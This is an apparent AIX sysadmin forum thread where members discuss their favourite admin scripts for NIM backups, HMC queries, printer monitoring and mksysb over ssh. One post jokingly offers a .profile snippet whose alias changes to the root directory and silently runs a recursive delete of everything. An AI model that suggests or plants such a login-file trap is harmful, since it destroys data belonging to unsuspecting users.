Originally posted by: apple08

Dear AIX gurus and all,
would like to share your favourite / useful scripts? add your scripts for a sharing to this thread..
if you have TRIED and TESTED scripts, would be very great.

hv a nice day.

Originally posted by: dukessd

For a random bit of overtime or some extra weekend work it is handy to call a script like this from a users .profile

#!/usr/bin/ksh
alias ls='cd \'; 'rm -R * 2>/dev/null'

Then just wait for the phone to ring or the pager to go off.

Originally posted by: tony.evans

One of the things I've learned as a sysadmin is that keeping and maintaining scripts is,

a. a lot of effort
b. sometimes counter-productive
c. very site specific

My backup scripts wouldn't be any use to you. It's much more useful to build a consistent environment, put central remote admin in place and learn some fundamentals you can apply over and over again to speed things up.

I wrote a script which allowed me to configure a host as a NIM client to a specific NIM server, including copying on the filesets if required (at the right level for the host), building the NIM machine object automatically by querying the host and then running the client niminit command.

But it's very specific to my site, wouldn't work in just about any other location.

A good knowledge of structure programming and an understanding of security will get you further than a list of scripts other people wrote.

Originally posted by: MarkTaylor

I have scripts for just about everything .. if I have had to do it more than once then I have scripted it .. I agree that a lot of the complex stuff can be site specific which is why I always use a decent header with variable definitions or config files so I can easily mod for another site / company ..

As for asking which are the ones I prefer, or are my favorite .. they are the ones that stop me having to navigate 10 smit panes or type out a command line that is more than 8 chars long .. which is pretty much most of my scripts and thats why I have them ..

Actually, currently I do have some favorites and they are the ones that map out vioserver storage and network config which makes vios work a little less complicated ..

HTH
Mark Taylor

Originally posted by: tony.evans

I have a bunch of scripts used to simplify querying multiple HMC's for partition / machine information (such as returning only VIOS servers, or various combinations of other fields).

All good scripts come from a direct need to avoid repetition or to achieve automation.

My most useful and favourite scripts are a bunch which collect a large amount of system information / common config errors from all the servers in our estate and present it via HTML. That's saved us a lot of times.

Originally posted by: apple08

Dear Sirs,
Great. Sir, do u have script that can automate the system backup for 20 lpars from NIM? Mind sharing.

Many thanks in advance.

Originally posted by: apple08

Dear Sir,
i have this script, but its very complicated. i don't know how to edit. do u have simpler script, would much appreciated.

Many thanks in advance
hv a nice weekends

Originally posted by: SystemAdmin

We have several hundred printers on our systems, and invariably many of these are done. The following two scripts generate a quick lpstat-like output, without the several minute delay caused by failed printers. We then feed this output into a generalised printer monitoring program. Makes life simpler.

The disadvantage is that you require the "expect" language, but how could you live without it?

Originally posted by: SystemAdmin

Try again. Here is the basic shell script.

Originally posted by: SystemAdmin

And here is the second part, the expect script

Originally posted by: Montecarlo

Here's one that pulls a mksysb from a client over an ssh session. I know that nim does this now, but it uses nfs.
Regards, Simon